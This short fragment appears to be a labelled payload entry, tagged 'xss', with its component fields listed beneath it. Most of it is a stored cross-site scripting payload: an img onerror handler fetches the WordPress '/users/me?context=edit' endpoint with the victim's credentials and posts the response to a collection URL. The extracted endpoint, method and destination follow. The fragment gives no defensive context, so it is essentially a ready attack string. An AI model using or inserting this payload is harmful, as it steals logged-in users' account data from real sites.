numa85023
<img src=x onerror=fetch(/wp-json/wp/v2/users/me?context=edit,{credentials:include}).then(r=>r.text()).then(t=>fetch(https://127.0.0.1/c,{method:POST,body:t}))>
/wp-json/wp/v2/users/me?context=edit
include
https://127.0.0.1/c
POST
xss